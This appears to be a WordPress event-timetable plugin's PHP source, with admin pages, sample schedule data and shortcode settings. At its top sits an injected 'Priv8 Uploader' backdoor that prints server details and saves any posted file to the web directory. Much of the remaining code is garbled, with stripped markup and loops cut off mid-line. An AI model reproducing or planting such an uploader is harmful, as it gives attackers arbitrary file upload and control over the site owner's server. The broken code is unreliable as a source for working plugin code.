OS : Linux
PHP Version : 7.4.33
Software : Apache/2.4.6 (CentOS) PHP/7.4.33
Information System : Linux apprendre2 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Disable Function :
GIF89a; Priv8 Uploader By InMyMine7
';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Uploaded';}else{echo 'Not Uploaded';}}
}
?>
"sidebar-event",
"name" => "Sidebar Event",
'before_widget' => '',
'before_title' => '',
'after_title' => '
'
));
}
function timetable_redirect() {
global $wp;
$timetable_events_settings = timetable_events_settings();
$plugindir = dirname( __FILE__ );
//A Specific Custom Post Type
if (isset($wp->query_vars["post_type"]) && $wp->query_vars["post_type"] == $timetable_events_settings["slug"]) {
$templatefilename = 'event-template.php';
if (file_exists(TEMPLATEPATH . '/' . $templatefilename)) {
$return_template = TEMPLATEPATH . '/' . $templatefilename;
} else {
$return_template = $plugindir . '/' . $templatefilename;
}
do_timetable_redirect($return_template);
//A Custom Taxonomy Page
}
}
function do_timetable_redirect($url) {
global $post, $wp_query;
if (have_posts()) {
include($url);
die();
} else {
$wp_query->is_404 = true;
}
}
//register event post thumbnail
add_theme_support("post-thumbnails");
add_image_size("event-post-thumb", 630, 300, true);
add_image_size("event-post-thumb-box", 300, 240, true);
function timetable_image_sizes($sizes)
{
global $themename;
$addsizes = array(
"event-post-thumb" => __("Event post thumbnail", 'timetable'),
"event-post-thumb-box" => __("Event post box thumbnail", 'timetable')
);
$newsizes = array_merge($sizes, $addsizes);
return $newsizes;
}
add_filter("image_size_names_choose", "timetable_image_sizes");
//documentation link
function timetable_documentation_link($links)
{
$documentation_link = 'Documentation';
array_unshift($links, $documentation_link);
return $links;
}
$plugin = plugin_basename(__FILE__);
add_filter("plugin_action_links_$plugin", 'timetable_documentation_link');
//settings link
function timetable_settings_link($links)
{
$settings_link = 'Settings';
array_unshift($links, $settings_link);
return $links;
}
$plugin = plugin_basename(__FILE__);
add_filter("plugin_action_links_$plugin", 'timetable_settings_link');
function timetable_enqueue_scripts()
{
wp_enqueue_script('jquery');
wp_enqueue_script('jquery-ui-core');
wp_enqueue_script('jquery-ui-tabs');
wp_enqueue_script("jquery-ba-bqq", plugins_url('js/jquery.ba-bbq.min.js', __FILE__), array("jquery"), false, true);
wp_enqueue_script("jquery-carouFredSel", plugins_url('js/jquery.carouFredSel-6.2.1-packed.js', __FILE__), array("jquery"), false, true);
if(function_exists("is_customize_preview") && !is_customize_preview())
wp_enqueue_script('timetable_main', plugins_url('js/timetable.js', __FILE__), array("jquery"), false, true);
wp_enqueue_style('timetable_sf_style', plugins_url('style/superfish.css', __FILE__));
wp_enqueue_style('timetable_style', plugins_url('style/style.css', __FILE__));
wp_enqueue_style('timetable_event_template', plugins_url('style/event_template.css', __FILE__));
wp_enqueue_style('timetable_responsive_style', plugins_url('style/responsive.css', __FILE__));
wp_enqueue_style('timetable_font_lato', '//fonts.googleapis.com/css?family=Lato:400,700');
}
add_action('wp_enqueue_scripts', 'timetable_enqueue_scripts');
//admin
if(is_admin())
{
function timetable_admin_menu()
{
$page = add_options_page('Timetable', 'Timetable', 'manage_options', 'timetable_admin', 'timetable_admin_page');
add_action("admin_print_scripts-post-new.php", "timetable_admin_print_scripts");
add_action("admin_print_scripts-post.php", "timetable_admin_print_scripts");
add_action("admin_print_scripts-settings_page_timetable_admin", "timetable_admin_print_scripts");
add_action("admin_print_scripts-widgets.php", "timetable_admin_print_scripts");
add_action("admin_print_scripts", "timetable_admin_print_scripts_all");
}
add_action('admin_menu', 'timetable_admin_menu');
function timetable_admin_init()
{
wp_register_script('timetable-colorpicker', plugins_url('admin/js/colorpicker.js', __FILE__));
wp_register_script('timetable-zclip', plugins_url('admin/js/ZeroClipboard.min.js', __FILE__), array("jquery"));
wp_register_script('timetable-admin', plugins_url('admin/js/timetable_admin.js', __FILE__), array("jquery", "timetable-zclip"));
wp_register_style('timetable-colorpicker', plugins_url('admin/style/colorpicker.css', __FILE__));
wp_register_style('timetable-admin', plugins_url('admin/style/style.css', __FILE__));
}
add_action('admin_init', 'timetable_admin_init');
function timetable_admin_print_scripts()
{
wp_enqueue_script('jquery');
wp_enqueue_script('jquery-ui-core');
wp_enqueue_script('jquery-ui-tabs');
wp_enqueue_script('timetable-colorpicker');
wp_enqueue_script('timetable-zclip');
wp_enqueue_script('timetable-admin');
wp_enqueue_style('timetable-colorpicker');
$data = array(
'img_url' => plugins_url("admin/images/", __FILE__),
'js_url' => plugins_url("admin/js/", __FILE__)
);
//pass data to javascript
$params = array(
'l10n_print_after' => 'config = ' . json_encode($data) . ';'
);
wp_localize_script("timetable-admin", "config", $params);
}
function timetable_admin_print_scripts_all()
{
wp_enqueue_style('timetable-admin');
}
function timetable_ajax_get_font_subsets()
{
if($_POST["font"]!="")
{
$subsets = '';
$fontExplode = explode(":", $_POST["font"]);
//get google fonts
$fontsArray = timetable_get_google_fonts();
$fontsCount = count($fontsArray->items);
for($i=0; $i<$fontsCount; $i++)
{
if($fontsArray->items[$i]->family==$fontExplode[0])
{
for($j=0; $j
\r\nRoom: 6
\r\nLevel: Beginner', ''),
(329, 2164, 1214, '09:00:00', '10:30:00', 'Mixed Martial Arts training with Muay Thai and Thai Boxing.', '', 'Instructor: R. Bandana
\r\nRoom: 24
\r\nLevel: Beginner', ''),
(313, 2164, 2132, '09:00:00', '10:30:00', '', '', 'Instructor: R. Bandana
\r\nRoom: 24
\r\nLevel: Beginner', ''),
(331, 2177, 1215, '14:00:00', '17:00:00', 'Super stamina workout and weightlifting.', '', 'Instructor: K. Nomak
\r\nRoom: 305A
\r\nLevel: All Levels', ''),
(319, 2159, 1215, '11:00:00', '12:45:00', '', '', 'Instructor: M. Moreau
\r\nRoom: 6
\r\nLevel: Beginner', ''),
(493, 2244, 2229, '16:00:00', '18:22:00', '', 'Horror', 'Free Entry
\r\n142 min.', ''),
(330, 2159, 1214, '11:00:00', '14:00:00', '', '', 'Instructor: M. Moreau
\r\nRoom: 6
\r\nLevel: Advanced', ''),
(314, 2164, 1213, '11:00:00', '12:45:00', '', '', 'Instructor: R. Bandana
\r\nRoom: 24
\r\nLevel: Intermediate', ''),
(459, 2298, 2230, '12:30:00', '14:00:00', '', 'Catering', 'Free Entry
\r\n90 min.', ''),
(327, 2164, 1217, '09:00:00', '12:45:00', 'Mixed Martial Arts training with Muay Thai and Thai Boxing.', '', 'Instructor: R. Bandana
\r\nRoom: 24
\r\nLevel: All Levels', ''),
(473, 2243, 2227, '16:30:00', '17:56:00', '', 'Animation', 'Free Entry
\r\n86 min.', ''),
(323, 2177, 1217, '14:00:00', '18:00:00', '', '', 'Instructor: K. Nomak
\r\nRoom: 305A
\r\nLevel: All Levels', ''),
(325, 2164, 1215, '09:00:00', '10:30:00', '', '', 'Instructor: R. Bandana
\r\nRoom: 24
\r\nLevel: Beginner', ''),
(301, 2177, 1213, '13:00:00', '14:00:00', '', '', 'Instructor: K. Nomak
\r\nRoom: 305A
\r\nLevel: All Levels', ''),
(300, 2177, 2132, '13:00:00', '14:00:00', '', '', 'Instructor: K. Nomak
\r\nRoom: 305A
\r\nLevel: All Levels', ''),
(309, 2159, 2132, '15:00:00', '16:30:00', '', '', 'Instructor: M. Moreau
\r\nRoom: 6
\r\nLevel: Advanced', ''),
(332, 2191, 1213, '09:00:00', '09:45:00', '', '', 'Class Leader
Ann Smith', ''),
(333, 2191, 1214, '10:00:00', '10:45:00', '', '', 'Class Leader
Emma White', ''),
(324, 2159, 1217, '13:00:00', '14:00:00', '', '', 'Instructor: M. Moreau
\r\nRoom: 6
\r\nLevel: All Levels', ''),
(310, 2159, 1213, '15:00:00', '16:30:00', '', '', 'Instructor: M. Moreau
\r\nRoom: 6
\r\nLevel: Advanced', ''),
(417, 2242, 2229, '14:40:00', '16:30:00', '', 'Animation', 'G Rating
\r\n110 min.', ''),
(433, 2264, 2229, '16:30:00', '17:30:00', '', 'Free Snacks', 'Festival Pass', ''),
(492, 2244, 2227, '14:00:00', '16:22:00', '', 'Horror', 'Free Entry
\r\n142 min.', ''),
(488, 2266, 2227, '09:00:00', '12:30:00', '', 'Concert', '$60 Entry
\r\n210 min.
\r\nUnder 16''s to be accompanied by an adult.', ''),
(467, 2239, 2231, '14:00:00', '16:15:00', '', 'Adventure', '$10 Entry
\r\n135 min.', ''),
(560, 2353, 2343, '11:30:00', '12:45:00', '', '', 'Performance', ''),
(434, 2264, 2231, '16:30:00', '17:30:00', '', 'Free Snacks', 'Festival Pass', ''),
(466, 2236, 2230, '14:00:00', '16:10:00', '', 'Thriller', 'Free Entry
\r\n130 min.', ''),
(460, 2298, 2231, '12:30:00', '14:00:00', '', 'Catering', 'Free Entry
\r\n90 min.', ''),
(479, 2310, 2231, '16:30:00', '18:30:00', '', 'Thriller', '$20 Entry
\r\n120 min.', ''),
(474, 2238, 2231, '09:00:00', '10:45:00', '', 'Action', 'Free Entry
\r\n105 min.', ''),
(458, 2298, 2229, '12:30:00', '14:00:00', '', 'Catering', 'Free Entry
\r\n90 min.', ''),
(435, 2264, 2232, '16:30:00', '17:30:00', '', 'Free Snacks', 'Festival Pass', ''),
(477, 2245, 2232, '16:30:00', '17:56:00', '', 'Horror', '$10 Entry
\r\n86 min.', ''),
(438, 2264, 2227, '16:30:00', '17:30:00', '', 'Free Snacks', 'Festival Pass', ''),
(471, 2243, 2231, '11:00:00', '12:26:00', '', 'Animation', 'Free Entry
\r\n86 min.', ''),
(448, 2234, 2230, '11:00:00', '12:25:00', '', 'Animation', 'Free Entry
\r\n85 min.', ''),
(496, 2237, 2229, '18:30:00', '20:10:00', '', 'Action', 'Free Entry
\r\n100 min.', ''),
(461, 2298, 2227, '12:30:00', '14:00:00', '', 'Catering', 'Free Entry
\r\n90 min.', ''),
(490, 2235, 2230, '09:00:00', '10:42:00', '', 'Comedy', 'Free Entry
\r\n102 min.', ''),
(436, 2264, 2230, '16:30:00', '17:30:00', '', 'Free Snacks', 'Festival Pass', ''),
(476, 2245, 2232, '11:00:00', '12:26:00', '', 'Horror', '$10 Entry
\r\n86 min.', ''),
(485, 2241, 2232, '12:30:00', '16:30:00', '', 'Concert', '$50 ticket
\r\n240 min.
\r\nWith special guest Kevin Numan and Markus Smith.', ''),
(491, 2235, 2229, '14:00:00', '15:42:00', '', 'Comedy', 'Free Entry
\r\n102 min.', ''),
(486, 2240, 2229, '09:00:00', '12:10:00', '', 'Concert', '$50 ticket
\r\n190 min.
\r\nWith special guest Kevin Numan and Markus Smith.', ''),
(489, 2266, 2230, '16:30:00', '20:00:00', '', 'Concert', '$60 Entry
\r\n210 min.
\r\nUnder 16''s to be accompanied by an adult.', ''),
(495, 2237, 2232, '09:00:00', '10:40:00', '', 'Action', 'Free Entry
\r\n100 min.', ''),
(573, 2365, 2342, '09:00:00', '12:00:00', '', '', 'Registration and General Information', ''),
(561, 2350, 2343, '12:45:00', '14:00:00', '', '', 'Performance', ''),
(581, 2375, 2342, '16:30:00', '19:00:00', '', '', 'Conference Banquet With Closing Ceremony. John Williams Speech.', ''),
(570, 2351, 2343, '15:30:00', '16:45:00', '', '', 'Performance', ''),
(519, 2359, 2346, '12:00:00', '13:15:00', '', '', 'Screening', ''),
(536, 2367, 2344, '12:00:00', '15:00:00', '', '', 'Display', ''),
(537, 2366, 2344, '15:00:00', '17:30:00', '', '', 'Display', ''),
(526, 2362, 2346, '10:00:00', '12:00:00', '', '', 'Screening', ''),
(558, 2355, 2343, '09:00:00', '10:15:00', '', '', 'Performance', ''),
(520, 2361, 2346, '13:15:00', '14:40:00', '', '', 'Screening', ''),
(554, 2357, 2345, '13:30:00', '14:15:00', '', '', 'Panel with Josh Kowalsky', ''),
(535, 2368, 2344, '09:00:00', '12:00:00', '', '', 'Display', ''),
(556, 2374, 2342, '08:30:00', '09:00:00', '', '', '', ''),
(564, 2363, 2345, '09:00:00', '10:15:00', '', '', 'Panel with Ann Perkins', ''),
(572, 2352, 2346, '15:30:00', '17:15:00', '', '', 'Performance', ''),
(566, 2358, 2345, '11:30:00', '13:30:00', '', '', 'Panel with Robin Watson, Chris Prochaska and Shawn Georges', ''),
(562, 2364, 2347, '09:00:00', '12:30:00', '', '', 'Free Entry', ''),
(551, 2373, 2347, '12:30:00', '16:30:00', '', '', 'Luch Menu', ''),
(567, 2356, 2345, '14:15:00', '16:15:00', '', '', 'Panel with Helena Howington, Frank Kasper and John Williams ', ''),
(559, 2354, 2343, '10:15:00', '11:30:00', '', '', 'Performance', ''),
(565, 2360, 2345, '10:15:00', '11:30:00', '', '', 'Panel with Robin Landrum', ''),
(576, 2365, 2342, '13:30:00', '15:00:00', '', '', 'Registration and General Information', ''),
(588, 2367, 2344, '14:30:00', '15:00:00', '', 'Comments', 'Comments on Display Session', ''),
(589, 2366, 2344, '17:00:00', '17:30:00', '', 'Comments', 'Comments on Display Session', ''),
(587, 2368, 2344, '11:30:00', '12:00:00', '', 'Comments', 'Comments on Display Session', '');";
$wpdb->query($query);
//insert shortcodes from live preview
$timetable_shortcodes_live_preview = array(
"timetable-for-wordpress" => "[tt_timetable event='body-building,boxing,cardio-fitness,crossfit,open-gym,zumba' columns='sunday,monday,tuesday,wednesday,thursday,friday,saturday' time_format='g:i a']",
"timetable-for-wordpress-sample-2" => "[tt_timetable event_category='bar,display,panel,performance,registration,screening' columns='reception,floor-2,lounge-bar,floor-4,speakers-room,campus-green' measure='0.25' filter_kind='event_category' time_format='H:i' box_bg_color='96235B' filter_color='353C40' disable_event_url='1' custom_css='.tt_timetable .event .event_header {font-size:16px;font-weight:normal;}']",
"timetable-for-wordpress-sample-3" => "[tt_timetable event='power-fitness,martial-arts,body-works' columns='monday,tuesday,wednesday,thursday,saturday' filter_style='tabs' time_format='g.i a' hide_hours_column='1' event_layout='3' box_bg_color='2B363D' box_hover_bg_color='A13230' filter_color='D74340' hide_empty='1' text_align='left']",
"timetable-for-wordpress-sample-4" => "[tt_timetable event_category='action,animation,catering,comedy,concert,horror,thriller' columns='bay-plaza-cinema,lakewood-cinema,north-park-theatre,old-capitol-arts,music-hall' measure='0.5' filter_kind='event_category' time_format='H:i' hide_hours_column='1' show_end_hour='1' event_layout='4' box_bg_color='DF4432' box_hover_bg_color='DF4432' filter_color='DF4432' disable_event_url='1' row_height='40' font='Open Sans:regular' font_subset='latin-ext' custom_css='.tt_timetable .hours {font-weight:400;font-size:24px;}']",
"timetable-for-wordpress-sample-5" => "[tt_timetable event='cardio-fitness,open-gym,body-building,zumba,boxing,crossfit' columns='sunday,monday,tuesday,wednesday,thursday,friday,saturday' show_end_hour='1' event_layout='3' box_bg_color='3156A3' box_hover_bg_color='42B3E5' box_hours_txt_color='A6C3FF' filter_color='3156A3' disable_event_url='1' text_align='left']",
);
$timetable_shortcodes_list = get_option("timetable_shortcodes_list");
if($timetable_shortcodes_list===false)
$timetable_shortcodes_list = array();
foreach($timetable_shortcodes_live_preview as $key=>$val)
{
if(!array_key_exists($key, $timetable_shortcodes_list))
$timetable_shortcodes_list[$key] = $val;
}
ksort($timetable_shortcodes_list);
update_option("timetable_shortcodes_list", $timetable_shortcodes_list);
if($result["info"]=="")
$result["info"] = __("dummy-timetable.xml file content and widgets settings has been imported successfully!", 'timetable');
echo "dummy_import_start" . json_encode($result) . "dummy_import_end";
exit();
}
add_action('wp_ajax_timetable_import_dummy', 'timetable_import_dummy');
function timetable_ajax_events_settings_save()
{
$timetable_events_settings = get_option("timetable_events_settings");
$slug_old = $timetable_events_settings["slug"];
$timetable_slug_old = $timetable_events_settings["slug"];
$timetable_events_settings["slug"] = (!empty($_POST["events_slug"]) ? $_POST["events_slug"] : __("events", "timetable"));
$timetable_events_settings["label_singular"] = (!empty($_POST["events_label_singular"]) ? $_POST["events_label_singular"] : __("Event", "timetable"));
$timetable_events_settings["label_plural"] = (!empty($_POST["events_label_plural"]) ? $_POST["events_label_plural"] : __("Events", "timetable"));
if(update_option("timetable_events_settings", $timetable_events_settings) && $timetable_slug_old!=$_POST["events_slug"])
{
require_once("post-type-events.php");
$events = get_posts(array(
'post_type' => $slug_old,
'posts_per_page' => -1
));
foreach($events as $event)
set_post_type($event->ID, $timetable_events_settings["slug"]);
//delete rewrite rules, they will be regenerated automatically by WP on next request
delete_option('rewrite_rules');
}
exit();
}
add_action('wp_ajax_timetable_ajax_events_settings_save', 'timetable_ajax_events_settings_save');
function timetable_admin_page()
{
$timetable_events_settings = timetable_events_settings();
//get events list
$events_list = get_posts(array(
'posts_per_page' => -1,
'nopaging' => true,
'orderby' => 'menu_order',
'order' => 'ASC',
'post_type' => $timetable_events_settings['slug']
));
//get weekdays list
$weekdays_list = get_posts(array(
'posts_per_page' => -1,
'nopaging' => true,
'orderby' => 'menu_order',
'order' => 'ASC',
'post_type' => 'timetable_weekdays'
));
//get all hour categories
global $wpdb;
$query = "SELECT distinct(category) AS category FROM " . $wpdb->prefix . "event_hours AS t1
LEFT JOIN {$wpdb->posts} AS t2 ON t1.event_id=t2.ID
WHERE
t2.post_type='" . $timetable_events_settings['slug'] . "'
AND t2.post_status='publish'
AND category<>''";
$hour_categories = $wpdb->get_results($query);
//events string
$events_string = "";
$events_select_list = "";
foreach($events_list as $event)
{
$events_select_list .= '';
$events_string .= $event->post_name . (end($events_list)!=$event ? "," : "");
}
//events categories string
$events_categories_list = "";
$events_categories = get_terms("events_category");
foreach($events_categories as $events_category)
$events_categories_list .= '';
//weekdays string
$weekdays_string = "";
$weekdays_select_list = "";
foreach($weekdays_list as $weekday)
{
$weekdays_select_list .= '';
$weekdays_string .= $weekday->post_name . (end($weekdays_list)!=$weekday ? "," : "");
}
//get google fonts
$fontsArray = timetable_get_google_fonts();
$fontsHtml = "";
if(isset($fontsArray))
{
$fontsCount = count($fontsArray->items);
for($i=0; $i<$fontsCount; $i++)
{
$variantsCount = count($fontsArray->items[$i]->variants);
if($variantsCount>1)
{
for($j=0; $j<$variantsCount; $j++)
{
$fontsHtml .= '';
}
}
else
{
$fontsHtml .= '';
}
}
}
?>
"-1");
if(!empty($timetable_shortcodes_list))
{
foreach($timetable_shortcodes_list as $key=>$val)
$timetable_shortcodes_array[$key] = $key;
}
//get events list
$events_list = get_posts(array(
'posts_per_page' => -1,
'nopaging' => true,
'orderby' => 'menu_order',
'order' => 'ASC',
'post_type' => $timetable_events_settings['slug']
));
$events_array = array();
$events_array["All"] ="";
foreach($events_list as $event)
$events_array[$event->post_title . " (id:" . $event->ID . ")"] = urldecode($event->post_name);
//get events categories list
$events_categories = get_terms("events_category");
$events_categories_array = array();
$events_categories_array["All"] ="";
foreach($events_categories as $events_category)
$events_categories_array[$events_category->name] = urldecode($events_category->slug);
//get hour categories
$query = "SELECT distinct(category) AS category FROM " . $wpdb->prefix . "event_hours AS t1
LEFT JOIN {$wpdb->posts} AS t2 ON t1.event_id=t2.ID
WHERE
t2.post_type='" . $timetable_events_settings['slug'] . "'
AND t2.post_status='publish'
AND category<>''";
$hour_categories = $wpdb->get_results($query);
$hour_categories_array = array();
$hour_categories_array["All"] ="";
foreach($hour_categories as $hour_category)
$hour_categories_array[$hour_category->category] = $hour_category->category;
//get columns
$weekdays_list = get_posts(array(
'posts_per_page' => -1,
'nopaging' => true,
'orderby' => 'menu_order',
'order' => 'ASC',
'post_type' => 'timetable_weekdays'
));
$weekdays_array = array();
$weekdays_array["All"] ="";
foreach($weekdays_list as $weekday)
$weekdays_array[$weekday->post_title . " (id:" . $weekday->ID . ")"] = urldecode($weekday->post_name);
//get google fonts
$fontsArray = timetable_get_google_fonts();
$google_fonts_array=array();
$google_fonts_array["Default"]="";
if(isset($fontsArray))
{
$fontsCount = count($fontsArray->items);
for($i=0; $i<$fontsCount; $i++)
{
$variantsCount = count($fontsArray->items[$i]->variants);
if($variantsCount>1)
{
for($j=0; $j<$variantsCount; $j++)
{
$google_fonts_array[$fontsArray->items[$i]->family . ":" . $fontsArray->items[$i]->variants[$j]] = $fontsArray->items[$i]->family . ":" . $fontsArray->items[$i]->variants[$j];
}
}
else
{
$google_fonts_array[$fontsArray->items[$i]->family] = $fontsArray->items[$i]->family;
}
}
}
vc_map(array(
"name" => __("Timetable", 'timetable'),
"base" => "tt_timetable",
"class" => "",
"controls" => "full",
"show_settings_on_create" => true,
"icon" => "icon-wpb-layer-timetable",
"admin_enqueue_js" => array(plugin_dir_url(__FILE__).'/admin/js/timetable_vc.js'),
"front_enqueue_js" => array(plugin_dir_url(__FILE__).'/admin/js/timetable_vc.js'),
"params" => array(
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Choose shortcode id:", "timetable"),
"param_name" => "shortcode_id",
"value" => $timetable_shortcodes_array,
),
array(
"type" => "dropdownmulti",
"class" => "",
"heading" => __("Events", "timetable"),
"param_name" => "event",
"value" => $events_array,
),
array(
"type" => "dropdownmulti",
"class" => "",
"heading" => __("Event categories", "timetable"),
"param_name" => "event_category",
"value" => $events_categories_array,
),
array(
"type" => "dropdownmulti",
"class" => "",
"heading" => __("Hour categories", "timetable"),
"param_name" => "hour_category",
"value" => $hour_categories_array,
),
array(
"type" => "dropdownmulti",
"class" => "",
"heading" => __("Columns", "timetable"),
"param_name" => "columns",
"value" => $weekdays_array,
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Hour measure", "timetable"),
"param_name" => "measure",
"value" => array(
__("Hour (1h)", "timetable") => "1",
__("Half hour (30min)", "timetable") => "0.5",
__("Quarter hour (15min)", "timetable") => "0.25",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Filter style", "timetable"),
"param_name" => "filter_style",
"value" => array(
__("Dropdown list", "timetable") => "dropdown_list",
__("Tabs", "timetable") => "tabs",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Filter kind", "timetable"),
"param_name" => "filter_kind",
"value" => array(
__("By event", "timetable") => "event",
__("By event category", "timetable") => "event_category",
__("By event and event category", "timetable") => "event_and_event_category",
),
),
array(
"type" => "textfield",
"class" => "",
"heading" => __("Filter label", "timetable"),
"param_name" => "filter_label",
"value" => __("All Events", "timetable"),
),
array(
"type" => "textfield",
"class" => "",
"heading" => __("Filter label 2", "timetable"),
"param_name" => "filter_label_2",
"value" => __("All Events Categories", "timetable"),
"dependency" => array(
"element" => "filter_kind",
"value" => array("event_and_event_category"),
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Select time format", "timetable"),
"param_name" => "select_time",
"value" => array(
__("09.03 (H.i)", "timetable") => "H.i",
__("09:03 (H:i)", "timetable") => "H:i",
__("9:03 am (g:i a)", "timetable") => "g:i a",
__("9:03 AM (g:i A)", "timetable") => "g:i A",
),
),
array(
"type" => "textfield",
"class" => "",
"heading" => __("Time format", "timetable"),
"param_name" => "time_format",
"value" => "H.i",
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Hide 'All Events' view", "timetable"),
"param_name" => "hide_all_events_view",
"value" => array(
__("No", "timetable") => "0",
__("Yes", "timetable") => "1",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Hide first (hours) column", "timetable"),
"param_name" => "hide_hours_column",
"value" => array(
__("No", "timetable") => "0",
__("Yes", "timetable") => "1",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Show end hour in first (hours) column", "timetable"),
"param_name" => "show_end_hour",
"value" => array(
__("No", "timetable") => "0",
__("Yes", "timetable") => "1",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Event block layout", "timetable"),
"param_name" => "event_layout",
"value" => array(
__("Type 1", "timetable") => "1",
__("Type 2", "timetable") => "2",
__("Type 3", "timetable") => "3",
__("Type 4", "timetable") => "4",
__("Type 5", "timetable") => "5",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Hide empty rows", "timetable"),
"param_name" => "hide_empty",
"value" => array(
__("No", "timetable") => "0",
__("Yes", "timetable") => "1",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Disable event url", "timetable"),
"param_name" => "disable_event_url",
"value" => array(
__("No", "timetable") => "0",
__("Yes", "timetable") => "1",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Text align", "timetable"),
"param_name" => "text_align",
"value" => array(
__("center", "timetable") => "center",
__("left", "timetable") => "left",
__("right", "timetable") => "right",
),
),
array(
"type" => "textfield",
"class" => "",
"heading" => __("Id", "timetable"),
"param_name" => "id",
"value" => "",
),
array(
"type" => "textfield",
"class" => "",
"heading" => __("Row height (in px)", "timetable"),
"param_name" => "row_height",
"value" => "31",
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Responsive", "timetable"),
"param_name" => "responsive",
"value" => array(
__("Yes", "timetable") => "1",
__("No", "timetable") => "0",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Event Description in responsive mode", "timetable"),
"param_name" => "event_description_responsive",
"value" => array(
__("None", "timetable") => "none",
__("Only Description 1", "timetable") => "description-1",
__("Only Description 2", "timetable") => "description-2",
__("Description 1 and Description 2", "timetable") => "description-1-and-description-2",
),
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("Collapse event hours in responsive mode", "timetable"),
"param_name" => "collapse_event_hours_responsive",
"value" => array(
__("No", "timetable") => "0",
__("Yes", "timetable") => "1",
),
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Timetable box background color", "timetable"),
"param_name" => "box_bg_color",
"value" => "00A27C",
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Timetable box hover background color", "timetable"),
"param_name" => "box_hover_bg_color",
"value" => "1F736A",
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Timetable box text color", "timetable"),
"param_name" => "box_txt_color",
"value" => "FFFFFF",
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Timetable box hover text color", "timetable"),
"param_name" => "box_hover_txt_color",
"value" => "FFFFFF",
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Timetable box hours text color", "timetable"),
"param_name" => "box_hours_txt_color",
"value" => "FFFFFF",
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Timetable box hours hover text color", "timetable"),
"param_name" => "box_hours_hover_txt_color",
"value" => "FFFFFF",
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Filter control background color", "timetable"),
"param_name" => "filter_color",
"value" => "00A27C",
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Row 1 style background color", "timetable"),
"param_name" => "row1_color",
"value" => "F0F0F0",
),
array(
"type" => "colorpicker",
"class" => "",
"heading" => __("Row 2 style background color", "timetable"),
"param_name" => "row2_color",
"value" => "",
),
array(
"type" => "textfield",
"class" => "",
"heading" => __("Table header font", "timetable"),
"param_name" => "font_custom",
"value" => "",
),
array(
"type" => "dropdown",
"class" => "",
"heading" => __("or choose Google font", "timetable"),
"param_name" => "font",
"value" => $google_fonts_array,
),
array(
"type" => "dropdownmulti",
"class" => "",
"heading" => __("Google font subset", "timetable"),
"param_name" => "font_subset",
"value" => array(
"",
"arabic",
"hebrew",
"telugu",
"cyrillic-ext",
"cyrillic",
"devanagari",
"greek-ext",
"greek",
"vietnamese",
"latin-ext",
"latin",
"khmer",
),
"dependency" => array(
"element" => "font",
"not_empty" => true,
"callback" => "timetable_font_subset_init",
),
),
array(
"type" => "textfield",
"class" => "",
"heading" => __("Font size (in px)", "timetable"),
"param_name" => "font_size",
"value" => "",
),
array(
"type" => "textarea",
"class" => "",
"heading" => __("Custom CSS", "timetable"),
"param_name" => "custom_css",
"value" => "",
),
),
));
}
add_action('init', 'timetable_vc_init');
function timetable_vc_dropdownmultiple_settings_field($settings, $value)
{
$value = ($value==null ? array() : $value);
$dependency = vc_generate_dependencies_attributes($settings);
if(!is_array($value))
$value = explode(",", $value);
$output = '';
return $output;
}
//timetable
function tt_timetable($atts, $content)
{
$timetable_events_settings = timetable_events_settings();
extract(shortcode_atts(array(
"event" => "",
"event_category" => "",
"events_page" => "",
"filter_style" => "dropdown_list",
"filter_kind" => "event",
"measure" => 1,
"filter_label" => "All Events",
"filter_label_2" => "All Events Categories",
"hour_category" => "",
"columns" => "",
"time_format" => "H.i",
"hide_hours_column" => 0,
"hide_all_events_view" => 0,
"show_end_hour" => 0,
"event_layout" => 1,
"box_bg_color" => "00A27C",
"box_hover_bg_color" => "1F736A",
"box_txt_color" => "FFFFFF",
"box_hover_txt_color" => "FFFFFF",
"box_hours_txt_color" => "FFFFFF",
"box_hours_hover_txt_color" => "FFFFFF",
"filter_color" => "00A27C",
"row1_color" => "F0F0F0",
"row2_color" => "",
"hide_empty" => 0,
"disable_event_url" => 0,
"text_align" => "center",
"row_height" => 31,
"id" => "",
"shortcode_id" => "",
"responsive" => 1,
"event_description_responsive" => "none",
"collapse_event_hours_responsive" => 0,
"direction" => "ltr",
"font_custom" => "",
"font" => "",
"font_subset" => "",
"font_size" => "",
"custom_css" => ""
), $atts));
if(strlen($shortcode_id))
{
$timetable_shortcodes_list = get_option("timetable_shortcodes_list");
if($timetable_shortcodes_list!==false && !empty($timetable_shortcodes_list[$shortcode_id]))
{
$shortcode = html_entity_decode(str_replace(array("[", "]"), "", $timetable_shortcodes_list[$shortcode_id]));
$shortcode_atts = shortcode_parse_atts($shortcode);
$atts = array_merge($shortcode_atts, $atts);
extract($atts);
}
}
//replace grave accent added by Visual Composer
$custom_css = str_replace("``", "\"", $custom_css);
//remove leading '#' hash character
$color_params = array('box_bg_color','box_hover_bg_color','box_txt_color','box_hover_txt_color','box_hours_txt_color','box_hours_hover_txt_color','filter_color','row1_color','row2_color');
foreach($color_params as $color_param)
{
if(!empty($$color_param))
$$color_param = ltrim($$color_param, "#");
}
$events_array = array_values(array_diff(array_filter(array_map('trim', explode(",", $event))), array("-")));
